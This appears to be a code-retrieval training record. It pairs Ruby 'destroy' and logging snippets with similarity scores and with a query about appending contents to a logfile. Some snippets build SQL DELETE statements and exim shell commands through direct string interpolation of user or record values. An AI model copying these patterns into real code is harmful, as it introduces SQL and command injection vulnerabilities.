"def destroy\n ## Fetching the <%= instance_name %>\n @<%= instance_name %> = <%= model_class %>.find(params[:id])\n\n respond_to do |format|\n ## Destroying the <%= instance_name %>\n @<%= instance_name %>.destroy\n @<%= instance_name %> = <%= model_class %>.new\n\n # Fetch the <%= instances_name %> to refresh ths list and details box\n get_collections\n @<%= instance_name %> = @<%= instances_name %>.first if @<%= instances_name %> and @<%= instances_name %>.any?\n\n # Setting the flash message\n message = translate(\"forms.destroyed_successfully\", :item => \"<%= instance_name.titleize %>\")\n store_flash_message(message, :success)\n\n format.html {\n redirect_to <%= resource_link('index', 'url') %> notice: message\n }\n format.json { head :no_content }\n format.js {}\n\n end\n end",
"def destroy\n @row.destroy\n respond_to do |format|\n format.html { redirect_to rows_url, notice: 'Row was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy!\n destroy || _raise_record_not_destroyed\n end",
"def cleanup_after_destroy\n ActiveRecord::Base.connection.execute(\"DELETE FROM dynamo_field_values WHERE model_id = #{self.id}\")\n end",
"def destroy!\n self.class.destroyed(self.model)\n Ribs.with_handle(self.database) do |h|\n h.delete(self.model)\n end\n end",
"def recent_view_destroy\n RecentView.log_destroy(self.class.to_s, id)\n true\n end",
"def redirect_after_destroy\n url = caller_url\n if url\n redirect_to url\n else\n redirect_to url_for([model_name.pluralize])\n end\n end",
"def after_destroy\n super\n @destroyed = true\n end",
"def on_destroy(&block)\n store(:destroy, Rules::DestroyRule.new(block))\n end",
"def destroy\n @friendship = Friendship.where(friend_id: [current_user, params[:id]]).where(user_id: [current_user, params[:id]]).last\n @friendship.destroy\n flash[:notice] = \"Removed friendship.\"\n\n #log_activity #doesnt work with call backs\n\n redirect_to :back\n end",
"def destroy\n @action_log.destroy\n respond_to do |format|\n format.html { redirect_to action_logs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n self.is_deleted = true\n self.save!\n run_callbacks :destroy do\n delete\n end\n end",
"def destroy\n @change_log_entry.destroy\n respond_to do |format|\n format.html { redirect_to change_log_entries_url, notice: 'Activity log entry was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @personerium = Personerium.find(params[:id])\n @personerium.destroy\n\tlog = Log.new(:NombreTable => \"personeria\", :Fecha => Date.today, :Hora => Time.now, :Usuario => current_user.username, :AccionRealizada => \"Destroy\")\n\tlog.save\n\n respond_to do |format|\n format.html { redirect_to personeria_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\trun_callbacks(:destroy) { delete } \n\tend",
"def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url, notice: t(\"actions.destroyed.male\", model: t(\"activerecord.models.#{controller_name.singularize.gsub(\" \", \"\")}\").downcase) }\n format.json { head :no_content }\n end\n end",
"def around_delete_action\n yield\n end",
"def destroy\n if has_history?\n update(active: false)\n else\n super\n end\n end",
"def did_destroy\n @destroyed = true\n self.class.identity_map.delete self.id\n self.class.all.delete self\n\n trigger_events(:destroy)\n end",
"def destroy\n current_instance.destroy\n\n respond_to do |format|\n format.html { render_after_destroy }\n format.xml { render :nothing => true }\n format.js\n end\n end",
"def destroy\n run_callbacks :destroy do\n self.update(active: false)\n end\n end",
"def destroy\n @actions << :destroy\n end",
"def destroy!\n destroy || raise(RecordNotDestroyed)\n end",
"def destroy\n current_hiker.create_activity :logged_out, owner: current_hiker\n session[:user_id] = nil\n redirect_to root_url\n end",
"def destroy\n @user_action.destroy\n respond_to do |format|\n format.html { redirect_to user_actions_url, notice: 'User action was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def after_delete\n end",
"def destroy\n @user_work = UserWork.find(params[:id])\n @user_work.destroy\n tflash('delete', :success, {:model=>@@model, :count=>1})\n respond_to do |format|\n format.html { redirect_to(redis_databases_url) }\n format.xml { head :ok }\n end\n end",
"def before_destroy; raise ActiveRecord::ReadOnlyRecord; end",
"def destroy\n logger.debug \"#{params[:action].to_s} called in #{self.class}: model=#{@model_class}, request.format=#{request.format}, request.content_type=#{request.content_type}, params=#{params.inspect}\" if self.debug\n # to_s as safety measure for vulnerabilities similar to CVE-2013-1854\n\n\n @value = @model_class.where(id: params[:id].to_s).first # don't raise exception\n #added authorize to destroy!\n authorize! :destroy, @value\n @value.destroy if @value\n instance_variable_set(@model_at_singular_name_sym, @value)\n if !@value.respond_to?(:errors) || @value.errors.empty? || (request.format != 'text/html' && request.content_type != 'text/html')\n # don't require a destroy view for success, because it isn't implements in Rails by default for json\n respond_to do |format|\n format.any { head :ok }\n end\n else\n render_or_respond(false)\n end\n rescue self.rescue_class => e\n handle_or_raise(e)\n end",
"def destroy\r\n\r\n @user.destroy\r\n\r\n save_users_log(current_user.email, 'user_deleted',@user.to_json)\r\n\r\n respond_to do |format|\r\n format.html { redirect_to users_url, notice: 'User was successfully deleted.' }\r\n end\r\n end",
"def destroy\n @user_activity_history.destroy\n respond_to do |format|\n format.html { redirect_to user_activity_histories_url, notice: 'User activity history was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def autolog_destroyed\n autolog_event(:destroyed, orphan: true)\n end",
"def after_destroy_hook\n execute_hooks_for(:after, :destroy)\n end",
"def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to(admin_users_url) }\n format.xml { head :ok }\n end\n website.add_log(user: current_user, action: \"Deleted user #{@user.name}\")\n end",
"def before_destroyed\n end",
"def destroy\n #any suggested changes assigned to this user will be set to assigned_to_id = null automatically by the foreign key constraint.\n respond_to do |format|\n if @user.application_admin? && User.where(application_admin?: true).count == 1\n flash[:error] = \"The last application admin user cannot be deleted.\"\n format.html { redirect_to users_path }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n elsif ChangeLogEntry.where(user: @user).count > 0\n flash[:error] = \"This user can't be deleted, because there are one or more change log entries for actions they took. If this user no longer uses the application, try setting them to inactive instead.\"\n format.html { redirect_to users_path }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n else\n @user.destroy\n format.html { redirect_to users_url, notice: 'User was successfully deleted. Any suggested changes assigned to this user are now assigned to no one.' }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @instance.destroy\n respond_to do |format|\n format.html { redirect_to instances_url, notice: 'Instance was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @instance.destroy\n respond_to do |format|\n format.html { redirect_to instances_url, notice: 'Instance was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n execute_before_destroy_callbacks(queried_record)\n queried_record.destroy!\n execute_after_destroy_callbacks(queried_record)\n\n head :no_content\n end",
"def destroy\n @user_log = UserLog.find(params[:id])\n @user_log.destroy\n\n respond_to do |format|\n format.html { redirect_to user_logs_url }\n format.json { head :no_content }\n end\n end",
"def destroy(*args)\n if self.gr_can_destroy?\n unless new_record?\n connection.delete(\n \"DELETE FROM #{self.class.quoted_table_name} \" +\n \"WHERE #{connection.quote_column_name(self.class.primary_key)} = #{quoted_id}\",\n \"#{self.class.name} Destroy\"\n )\n end\n @destroyed = true\n freeze\n else\n eval_violation(:destroy_access)\n end\n end",
"def destroy\n raise ActiveRecord::ReadOnlyRecord, 'Cannot delete historical records'\n end",
"def destroy\n @time_record = TimeRecord.find(params[:id])\n @time_record.destroy\n\n respond_to do |format|\n format.html { redirect_to time_records_url,\n notice: (crud_notice('destroyed', @time_record) + \"#{undo_link(@time_record)}\").html_safe }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vegetable_record.destroy\n redirect_to vegetable_records_path\n end",
"def delete_record\n self.remote_attributes = self.class.identify(self).delete_instance if persisted?\n @destroyed = true\n end",
"def delete_record(evt)\n set_record evt[:id]\n if record.id && before_delete_record(record)\n record.destroy\n trigger :flash, :notice => delete_notice(record)\n end\n trigger :reload_grid\n render :text => form_deveal('#FF8888') #cancel\n end",
"def destroy\n @amp_model.destroy\n respond_to do |format|\n format.html { redirect_to(admin_amp_models_url) }\n format.xml { head :ok }\n end\n website.add_log(user: current_user, action: \"Deleted amp model: #{@amp_model.name}\")\n end",
"def after_destroy(election)\n if election.elected\n log election, :destroy\n end\n end",
"def destroy\n unless new_record?\n connection.delete(\n \"DELETE FROM #{self.class.table_name} \" + \n \"WHERE #{self.class.primary_key} = '#{id}'\", \n \"#{self.class.name} Destroy\"\n )\n end\n\n freeze\n end",
"def destroy\n if @user.authority == '2'\n flash[:danger] = 'Pre-configured Admin Cannot Be Deleted'\n redirect_to users_path\n elsif @user.email == current_user.email\n flash[:danger] = 'Oops. Don\\'t Delete Yourself'\n redirect_to users_path\n else\n sql = \"delete from histories where email = '#{@user.email}' and (date > '#{Time.now.to_date}' or (date = '#{Time.now.to_date}' and begintime > '#{Time.now.hour}' ))\"\n h = History.find_by_sql(sql)\n @user.destroy\n redirect_to users_path\n flash[:success] = 'User Was Successfully Deleted'\n end\n end",
"def destroy\r\n @user = User.find(params[:id])\r\n @user.delete!\r\n track_activity @user\r\n\r\n redirect_to users_path, only_path: true \r\n end",
"def action_col_destroy(table, &block)\n action_col(table) do |e|\n link_table_action('remove', action_path(e, &block),\n :data => { :confirm => ti(:confirm_delete),\n :method => :delete })\n end\n end"
] |
[
"0.6163764",
"0.604818",
"0.60187405",
"0.5830853",
"0.58195895",
"0.5803871",
"0.57457703",
"0.5743281",
"0.57260746",
"0.5681055",
"0.56410927",
"0.5628278",
"0.55908483",
"0.5580232",
"0.5573221",
"0.55651176",
"0.5528249",
"0.5522584",
"0.55110496",
"0.55110496",
"0.54665184",
"0.5464095",
"0.5461018",
"0.5459318",
"0.5447092",
"0.5444351",
"0.5440405",
"0.54311943",
"0.54311943",
"0.5419601",
"0.5402742",
"0.53876054",
"0.53876054",
"0.53876054",
"0.53832424",
"0.53723127",
"0.53696656",
"0.53681254",
"0.53577614",
"0.5351242",
"0.534161",
"0.53393495",
"0.5338766",
"0.53377175",
"0.53282",
"0.5327245",
"0.5324268",
"0.53208125",
"0.5319604",
"0.53103983",
"0.52778876",
"0.52771956",
"0.5267984",
"0.526777",
"0.5267165",
"0.5263588",
"0.52443784",
"0.5225261",
"0.52226895",
"0.5218716",
"0.52155006",
"0.52134085",
"0.5209531",
"0.5204935",
"0.5195795",
"0.51946366",
"0.5190698",
"0.518538",
"0.5185184",
"0.51754487",
"0.51754487",
"0.51754487",
"0.51754487",
"0.51754487",
"0.51754487",
"0.51754487",
"0.51754487",
"0.51754487",
"0.51754487",
"0.51725775",
"0.51718307",
"0.51707375",
"0.516529",
"0.5163214",
"0.51629835",
"0.516167",
"0.5161621",
"0.5141433",
"0.5135846",
"0.51338226",
"0.51302135",
"0.5129495",
"0.5127662",
"0.51272714",
"0.51248",
"0.5122838",
"0.5121413",
"0.5115539",
"0.5111354",
"0.50963295"
] |
0.5793896
|
6
|
++ Appends the specified contents on logfile.
|
def to_logfile(contents)
File.open(@log_filename, 'a') { |f| f.puts contents } unless contents.empty?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def append_log_file(str)\n append_file(@log_file, str)\n end",
"def add_in_logfile(date, adresse, utilisateur_id, description)\n fichier = \"app/../log/logs.txt\"\n if File.exist?(fichier)\n mode = 'a'\n check_logfile_size(fichier)\n else\n mode = 'w'\n end\n open(fichier, mode) { |f|\n f << \"DATE : #{date}\\n\"\n f << \"ADRESSE : #{adresse}\\n\"\n f << \"UTILISATEUR_ID : #{utilisateur_id}\\n\"\n f << \"DESCRIPTION : #{description}\\n\"\n f << \"========================================\\n\"\n }\n end",
"def append(contents)\n\t\tconnection.append_to_file(full_path, contents)\n\tend",
"def log(message)\n File.open(@log_file, 'a') do |file|\n file.puts message\n end\n end",
"def append_file(fname, content)\n begin\n aFile = File.new(fname,\"a\")\n aFile.puts content\n aFile.close\n rescue Exception=>e\n # logger.error e\n p e.inspect\n end\nend",
"def log(msg)\n @script = File.basename $0 \n logfile = $config[\"settings\"][\"log_directory\"] + \"/#{@script}.log\"\n if $config[\"settings\"][\"log_file\"]\n File.open(logfile, 'a') do |file|\n now = Time.new.strftime(\"%Y-%m-%d %H:%M:%S\")\n file.puts \"#{@script} #{now} -> #{msg}\"\n end\n end\n puts \"#{@script} -> #{msg}\"\nend",
"def log_new(msg)\n @script = File.basename($0).split(/\\./)[0] \n logfile = $script_dir + \"/var/log/#{@script}_new.log\"\n logfile = $config[\"settings\"][\"log_directory\"] + \"/#{@script}_new.log\" if $config[\"settings\"].has_key? 'log_directory'\n if $config[\"settings\"][\"log_file\"]\n File.open(logfile, 'a') do |f|\n now = Time.new.strftime(\"%Y-%m-%d %H:%M:%S\")\n f.puts \"#{@script} #{now} -> #{msg}\"\n end\n end\n puts \"#{@script} -> #{msg}\"\nend",
"def log(msg)\n File.open(File.join(runtime_dir, 'content-repo.log'), 'w+') { |f| \n f.puts msg }\n end",
"def log_content_type(type)\n File.open(Path + \"/content.log\", \"a\") {|f| f << type + \"\\n\"}\nend",
"def log message\n @logs << message\n end",
"def log msg\n history = File.open(@current, \"a\")\n history.puts msg\n history.close\n end",
"def log(msg, feeds = nil)\n open(\"#{RAILS_ROOT}/log/updatr.log\", \"a\") { |io|\n io.puts \"#{Time.now.strftime(\"%d-%m-%y %H:%M\")} — #{msg}\"\n }\n\nend",
"def append_to_log_file( data_import_session, text )\n full_pathname = log_full_pathname( data_import_session )\n File.open( full_pathname, 'a+' ) do |f|\n f.puts( text )\n end if Rails.env != 'test' # (Avoid creating thousands of files during specs running)\n end",
"def log(message)\n open(\"#{logdir}/brief.log\", 'a') { |f| f.puts \"#{Time.now}: #{message}\" }\n end",
"def append(message, truncate = nil, timestamp = nil)\n @log << message.to_s\n end",
"def log(job,time)\n open('log.txt', 'a') { |f|\n f.puts job + \",\" + time.to_s\n }\nend",
"def write_to_log(text)\n File.open(@log_file_path, 'a') do |file|\n # threadsafe write\n file.flock(File::LOCK_EX)\n file.puts text\n file.flush\n file.flock(File::LOCK_UN)\n end\n end",
"def log(text)\n puts text\n `echo \"#{text}\" >> #{$logfile}`\nend",
"def log(message, filename=\"logfile.log\")\n File.open(filename, \"a+\") do |f|\n f << \"#{Time.now}: #{message}\\n\"\n end\n end",
"def error_logger(e)\n File.open(\"error_log.txt\", \"a\") do |file|\n file.puts e\n end\nend",
"def log_f(txt, file = nil)\n if file\n unless File.exist?(file) && !@overwrite_logs\n mode = is_old_file?(file) && @overwrite_logs ? \"w+\" : \"a+\"\n txt = (\"#{Time.now}\\n\" + txt) if mode == \"w+\" \n open(file, mode) do |f|\n f.puts txt\n end\n end\n else\n log_f(txt)\n end\n end",
"def log_entry(page_name)\n log_file = File.open(\"text_files/log.txt\", \"a\")\n log_file.puts(Time.now.to_s + \"<br>\")\n log_file.puts(\"Edit to page: \" + page_name + \"<br>\")\n log_file.puts(\"By User: <b>\" + $credentials[0] + \"</b>\" + \"<br>\")\n log_file.close\nend",
"def add_to_file entry, content\n path = repo_path.join entry\n File.write path, content, :mode => \"a\"\n end",
"def add_log_text(text)\n self.log_text = \"\" if self.log_text.nil?\n self.log_text += text + \"\\n\"\n end",
"def makelog(string)\n time = Time.new().to_s\n file = File.open(\"#{$path}logs\",'a')\n file.puts time+\"\\t\"+string\n file.close\nend",
"def log(log)\n # Since only one appender thread will be writing to the file at a time\n # it is not necessary to protect access to the file with a semaphore\n # Allow this logger to filter out log levels lower than it's own\n @log.write(@formatter.call(log) << \"\\n\") if level_index <= (log.level_index || 0)\n end",
"def writeLog(text)\n\n Utils_visiona.verifyInput(String, text.class)\n\n return if @logFile.nil?\n\n Thread.new do\n\n File.open(@logFile, 'a+') {|file| file.puts \"#{Time.now} #{text}\"}\n end\n\t\tend",
"def start_log(log)\n File.open(log, 'w')\nend",
"def write_message(log_file, string)\n File.open(@@logs[log_file], 'a') {|out| out.puts string }\n end",
"def add_entry\n new_content = file_content MY_HOSTS_FILE\n open(HOSTS_FILE, 'a') do |f|\n f << \"\\n#{new_content}\\n\"\n end\nend",
"def log_activity(activity, start_time, end_time)\n File.open(log_filename, \"a\") do |logFile|\n logStr = \"#{activity}\\t#{start_time}\\t#{end_time}\\n\"\n logFile.syswrite(logStr)\n end\n\n store_activity_end_time\n \nend",
"def log(folder, id, url, found)\n @file = File.new(@filename, \"a\")\n string = \n folder + \"\\t\" +\n id + \"\\t\" + \n url + \"\\t\" + \n found.to_s + \"\\n\"\n @file.write(string)\n @file.close\n end",
"def log(line)\n\t\tfile=File.open(@output_file,\"a+\")\n\t\tfile.puts(line)\n\t\tfile.close\n\tend",
"def addToLog flag\n result = flag ? 'Succeeded' : 'Failed'\n File.open(\"/Users/John/DropBox/datasets_processed.log\", 'a') do |f| \n dt = DateTime.now.strftime(\"%Y-%b-%d %H:%M:%S\")\n result = flag ? 'Succeeded' : 'Failed'\n line = [dt, filename.to_unspec, @qc, @rows, result].join(', ')\n f.write(\"#{line}\\n\") \n end\n end",
"def logging( log_str )\n begin\n file = open(File.expand_path('../_log_posts',__FILE__),'a')\n file.print Time.now.to_s, \"\\t\", log_str, \"\\n\"\n STDOUT.sync = true\n print Time.now.to_s, \"\\t\", log_str, \"\\n\"\n STDOUT.sync = false\n ensure\n file.close\n end\nend",
"def log_write(level=\"I\",string)\n filepath=LOG_PATH + who?\n if File.exist?(filepath)\n log_file=File.open(filepath,\"a+\")\n else\n log_file=File.new(filepath,\"a+\")\n end\n \n log_file.syswrite(\"[#{get_time}] #{level} #{string}\\n\")\n log_file.close\n end",
"def write(message)\n @m.synchronize do\n @logfile.write(message) unless @logfile.nil?\n @responses.each{|res| res.send_event(\"build_log\", strip_control_chars(message)) }\n end\n end",
"def write_file(log)\n log[:files_revised] += 1\n File.open(@name, \"w\") {|f| f.write(@content) }\n end",
"def log(msg)\n $logger << msg + \"\\n\"\nend",
"def _log(text)\n\t\topen($location+\"/logs/class.log\", 'a') { |f| f.puts(\"[\"+DateTime.now.strftime('%Y-%m-%d %H:%M:%S')+\"] \"+text+\"\\n\") } if (text.is_a?(String) && !text.empty?)\n\tend",
"def append_to_file(full_path, contents)\n\t\t::File.open(full_path, 'a') do |f|\n\t\t\tf.write contents\n\t\tend\n\t\ttrue\n\tend",
"def log(msg)\n if $settings[:log]\n $settings[:log].write(Time.now.inspect + \" \" + msg + \"\\n\")\n $settings[:log].flush\n end\nend",
"def event_log(msg)\n time = Time.now.strftime(\"%h %d %H:%M:%S\")\n$stdout.puts \"LOG: #{msg}\"\n# _open_sefile('server.log', 'a') { |f| f.puts \"(#{time}) #{msg}\" } rescue nil\nend",
"def write_log_to_file(uuid, text)\n filename = File.join(Dir.pwd, $output_dir, \"#{uuid}.log\")\n File.open(filename, 'w') { |f| f.write(text) }\nend",
"def mk_log(mc)\n log_name = \"#{@t.month}/#{@t.day}/#{@t.year} at #{@t.hour}:#{@t.min}\"\n log_dir = \"#{@archive_folder}/.archive_logs\"\n Dir.mkdir(log_dir) unless Dir.exist?(log_dir)\n\n log_file = \"#{log_dir}/Archive Log.txt\"\n File.new(log_file, 'w+') unless File.exist?(log_file)\n # `a` is for `append`. This appends a new line to the end of the file.\n File.open(log_file, 'a') do |line|\n line.puts \"Moved #{mc} items on #{log_name}\"\n end\nend",
"def log_message( level, message )\n t = Time.now\n File.open( @options['FILENAME'], 'a') do |f|\n f.puts \"#{t.strftime('%Y%m%d%H%M%S')}\\tMESSAGE\\t#{message}\"\n end\n end",
"def log\n last_line = logfile.lines.to_a.last || \"\"\n last_entry = last_line.split(/\\s/)\n new_entry = \"#{date}\\t#{count}\\n\"\n if last_entry.first != date\n logfile.write new_entry\n logfile.flush\n end\n puts new_entry\n end",
"def append(filename)\n return @filemgr.append(filename, @contents)\n end",
"def logthis(input)\n\t\t@logmutex.lock\n\t\tfile = File.open('./serverlog','a')\n\t\twrite = \"#{Time.now}\\t#{input}\\n\"\n\t\tfile.write(write)\n\t\tputs write\n\t\t@logmutex.unlock\n\tend",
"def update_log(content)\n @note.addContent(to_utf8(content))\n @note.tags = @tag.get\n @note.update\n Logger.log_internal { \"Update note: #{@note.guid}\" }\n end",
"def overwriteFile(path, filecontents, logkey='')\n\tMcmlln::Tools.overwriteFile(path, filecontents)\nrescue => logstring\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
"def log_file\n end",
"def overwriteFile(path, filecontents, logkey='')\n\tMcmlln::Tools.overwriteFile(path, filecontents)\nrescue => logstring\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
"def log_file; end",
"def add_to_log\n user_name = self.user.name || self.user.email.split('@')[0]\n Log.create!(loggingtype: 2,user_id_1: self.user.id ,user_id_2: nil,admin_id: nil,story_id: self.story.id ,interest_id: nil,message: (user_name+\" commented on \\\"\" + self.story.title + \"\\\" with \\\"\" + self.content + \"\\\"\").to_s )\n Admin.push_notifications \"/admins/index\" ,\"\"\n end",
"def append(content)\n\t\t\tFile.open(path,'a'){|target| target << content}\n\t\t\tnew_file = FileAry.new(path)\n\t\t\t@read = new_file.read\n\t\t\t@head = read.lines.first\n\t\t\t@lines = read.lines\n\t\tend",
"def logme(target)\n\n\t# Create Filename info to be appended to files\n\tfilenameinfo = \"_\" + ::Time.now.strftime(\"%Y%m%d.%M%S\")\n\n\t# Create a directory for the logs\n\tlogs = ::File.join(Msf::Config.log_directory,'scripts', 'winbf')\n\n\t# Create the log directory\n\t::FileUtils.mkdir_p(logs)\n\n\t#logfile name\n\tdest = logs + \"/\" + target + filenameinfo\n\n\tdest\nend",
"def apply_to_log\n if can_apply_to_log?\n File.open actual_log_location, 'a' do |f|\n f.puts build_with_template\n end\n end\n end",
"def to_file(lines)\n File.open(File.join(Config.log_path, 'backup.log'), 'a') do |file|\n lines.each {|line| file.puts line }\n end\n messages.push(*lines)\n end",
"def store_log_file_permanently!\n f = Tempfile.new(\"processing_log\")\n f.write(log_contents)\n f.close\n store_permanently!(f.path)\n end",
"def log(message); logger.info(message); end",
"def <<(msg)\n @logdev.write(msg) if @logdev\n end",
"def log (msg, **kwargs) Log.write(msg, :info, kwargs) end",
"def log(person)\n @file << person.to_markdown\n @file << \"\\n\\n\"\n end",
"def overwriteFile(path,filecontents, logkey='')\n\tMcmlln::Tools.overwriteFile(path, filecontents)\nrescue => logstring\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
"def append_file(fn, str)\n File.open(fn, 'a') do |f|\n f.puts str\n end\n end",
"def write_log_file(message)\r\n if RUBY_PLATFORM =~ /win32|win64/i then\r\n outFile = File.new('C:\\temp\\BJLog.txt', \"a\")\r\n outFile.puts message\r\n outFile.close\r\n else\r\n outFile = File.new('tmp/BJLog.txt', \"a\")\r\n outFile.puts message\r\n outFile.close\r\n end\r\n end",
"def updateLogFile(operation)\n file = File.open(\"log.txt\", \"a\")\n \n if operation == \"Login\"\n file.puts \"#{$credentials[0]} logged in at #{Time.now}\"\n elsif operation == \"Logout\"\n file.puts \"#{$credentials[0]} logged out at #{Time.now}\"\n elsif operation == \"Updated\"\n file.puts \"#{$credentials[0]} proposed an update to the wiki content at #{Time.now}\"\n elsif operation == \"Deleted\"\n file.puts \"#{$credentials[0]} deleted the wiki content at #{Time.now}\"\n elsif operation == \"Backup\"\n file.puts \"#{$credentials[0]} created a backup of wiki content at #{Time.now}\"\n elsif operation == \"Updateapproved\"\n file.puts \"#{$credentials[0]} approved an update to the wiki at #{Time.now}\"\n elsif operation == \"Updatedenied\"\n file.puts \"#{$credentials[0]} denied a proposed update to the wiki at #{Time.now}\"\n elsif operation == \"Adminupdate\"\n file.puts \"The administrator updated the wiki at #{Time.now}\"\n elsif operation == \"Viewlog\"\n file.puts \"#{$credentials[0]} viewed this file at #{Time.now}\"\n else\n #Do something\n end\n file.close\n end",
"def append_file(filename,data)\n begin\n File.open(filename, \"a+\") do |f|\n f<< data\n end\n rescue Exception => e\n puts e.message \n end\n end",
"def log\n @comment_text = '=====Spam log for the account ' + \"#{@email}\" + '====='\n time = Time.new\n logtime = time.strftime('%Y-%m-%d %H:%M')\n @mail_exim_id = `exiqgrep -i -R #{@direction} #{@email} | tail -1`\n @full_mail_body = `exim -Mvc #{@mail_exim_id} /dev/null`\n @mail_log = `exim -Mvl #{@mail_exim_id} /dev/null`\n File.open(\"#{SPAM_LOG_FILE_PATH}\", 'a') do |spam_logfile|\n spam_logfile.puts \"#{logtime}: #{@email}\"\n spam_logfile.puts \"#{@comment_text}\"\n spam_logfile.puts \"Email count: #{@emailcount}\"\n spam_logfile.puts ''\n spam_logfile.puts \"#{@full_mail_body}\"\n spam_logfile.puts ''\n spam_logfile.puts \"#{@mail_log}\"\n spam_logfile.puts ''\n end\n end",
"def append(data)\n open('a') do |f|\n f.write(data)\n end\n end",
"def write_to_log(*args)\n if args.size == 1\n s = args[0]\n # log to STDOUT\n elsif args.size == 2\n if args[0].is_a?(File)\n file, s = args\n # log to File object\n else\n fn, s = args\n # log to file path\n end\n else\n raise \"invalid arguments: #{args}\"\n end\nend",
"def log\n count = default_log_lines(params)\n lines = get_file_lines(log: true, tail: count)\n respond_with(lines)\n end",
"def log s\n # Open log, if necessary\n if config[:log]\n puts \"LOG: #{s}\" if config[:debug]\n File.open(config[:logfile], 'a') do |f|\n f.puts \"#{Time.now.strftime(config[:time_format])} #{s}\"\n end\n end\n end",
"def logs\n end",
"def append fi,c\n\tFile.open( fi, \"a\" ) {| f | f.puts c } \nend",
"def create_log(content)\n @note.title = to_utf8(@name) + \" - \" + Time.now.strftime(\"%Y-%m-%d %H:%M:%S\")\n @note.tags = @tag.get\n @note.content = to_utf8(content)\n @note.create\n Logger.log_internal { \"Create note: #{@note.guid}\" }\n end",
"def write_to_log(module_id,text)\n\n puts \"[LOG] #{text}\"\n\n log = Log.new\n log.text = text\n log.module_id = module_id\n\n $db_write_sync.synchronize do\n log.save\n end\n\n # clean up old logs\n Log.where(\"created_at < (?)\", 2.days.ago).find_each do |log|\n $db_write_sync.synchronize do\n log.delete\n end\n end\n end",
"def output_to_file message\n @log_file.puts message\n @log_file.flush\n end",
"def write(new_contents)\n\t\tconnection.write_file(full_path, new_contents)\n\tend",
"def write(new_contents)\n\t\tconnection.write_file(full_path, new_contents)\n\tend",
"def log_to(file)\n @log_file = file\n end",
"def logging( log_str )\n begin\n file = open(File.expand_path('../_log_watcher2',__FILE__),'a')\n file.print Time.now.to_s, \"\\t\", log_str, \"\\n\"\n STDOUT.sync = true\n print Time.now.to_s, \"\\t\", log_str, \"\\n\"\n STDOUT.sync = false\n ensure\n file.close\n end\nend",
"def logging( log_str )\n begin\n file = open(File.expand_path('../_log_followers',__FILE__),'a')\n file.print Time.now.to_s, \"\\t\", log_str, \"\\n\"\n #STDOUT.sync = true\n #print Time.now.to_s, \"\\t\", log_str, \"\\n\"\n #STDOUT.sync = false\n ensure\n file.close\n end\nend",
"def append(filename, text)\n File.open(filename,\"a\") {|f| f << text + \"\\n\"}\n end",
"def append(filename, text)\n File.open(filename,\"a\") {|f| f << text + \"\\n\"}\n end",
"def log(message, severity = :info) \n @rake_log ||= ActiveSupport::BufferedLogger.new(ImportProductSettings::LOGFILE)\n message = \"[#{Time.now.to_s(:db)}] [#{severity.to_s.capitalize}] #{message}\\n\"\n @rake_log.send severity, message\n puts message\n end",
"def log(message, severity = :info) \n @rake_log ||= ActiveSupport::BufferedLogger.new(ImportProductSettings::LOGFILE)\n message = \"[#{Time.now.to_s(:db)}] [#{severity.to_s.capitalize}] #{message}\\n\"\n @rake_log.send severity, message\n puts message\n end",
"def log(message)\n\t\t\t\t@shell.write_object ['log', message]\n\t\t\tend",
"def initialize_log(log)\n close if @log # be sure that we don't leave open files laying around.\n\n if log.respond_to?(:write)\n @log = log\n elsif File.exist?(log)\n @log = open(log, (File::WRONLY | File::APPEND))\n @log.sync = true\n else\n FileUtils.mkdir_p(File.dirname(log)) unless File.directory?(File.dirname(log))\n @log = open(log, (File::WRONLY | File::APPEND | File::CREAT))\n @log.sync = true\n @log.write(\"#{Time.now.httpdate} #{delimiter} info #{delimiter} Logfile created\\n\")\n end\n end",
"def logs\n\n end",
"def log_file_creation()\n\tcurrent_path = File.dirname(File.realpath(__FILE__))\n\t$csv_path = \"#{current_path}/Attachments.csv\"\n\tif !File.directory?(\"#{current_path}/logs\")\n\t\tFileUtils.mkdir_p \"#{current_path}/logs\"\n\tend\n\t$log_path = \"#{current_path}/logs/jira-attachment-upload.txt\"\n\t$log = Logger.new(\"#{current_path}/logs/jira-attachment-upload.txt\", 'daily')\nend",
"def log_file(log_path = nil)\n # Get hostname\n host = session.sys.config.sysinfo[\"Computer\"]\n\n # Create Filename info to be appended to downloaded files\n filenameinfo = \"_\" + ::Time.now.strftime(\"%Y%m%d.%M%S\")\n\n # Create a directory for the logs\n logs = if log_path\n ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))\n else\n ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))\n end\n\n # Create the log directory\n ::FileUtils.mkdir_p(logs)\n\n # logfile name\n logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + \".rc\"\n logfile\n end",
"def append_content(path, content)\n \n puts \"Sending path and content via MCollective Files client\"\n @mc.append(:path => path, :content => content)\n printrpcstats\n \n end",
"def log_writer; end",
"def add_activity(*args)\n append_data(\"activity_log\",args.join(\" : \"))\n end",
"def overwriteHtml(path, filecontents, logkey='')\n\tMcmlln::Tools.overwriteFile(path, filecontents)\nrescue => logstring\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
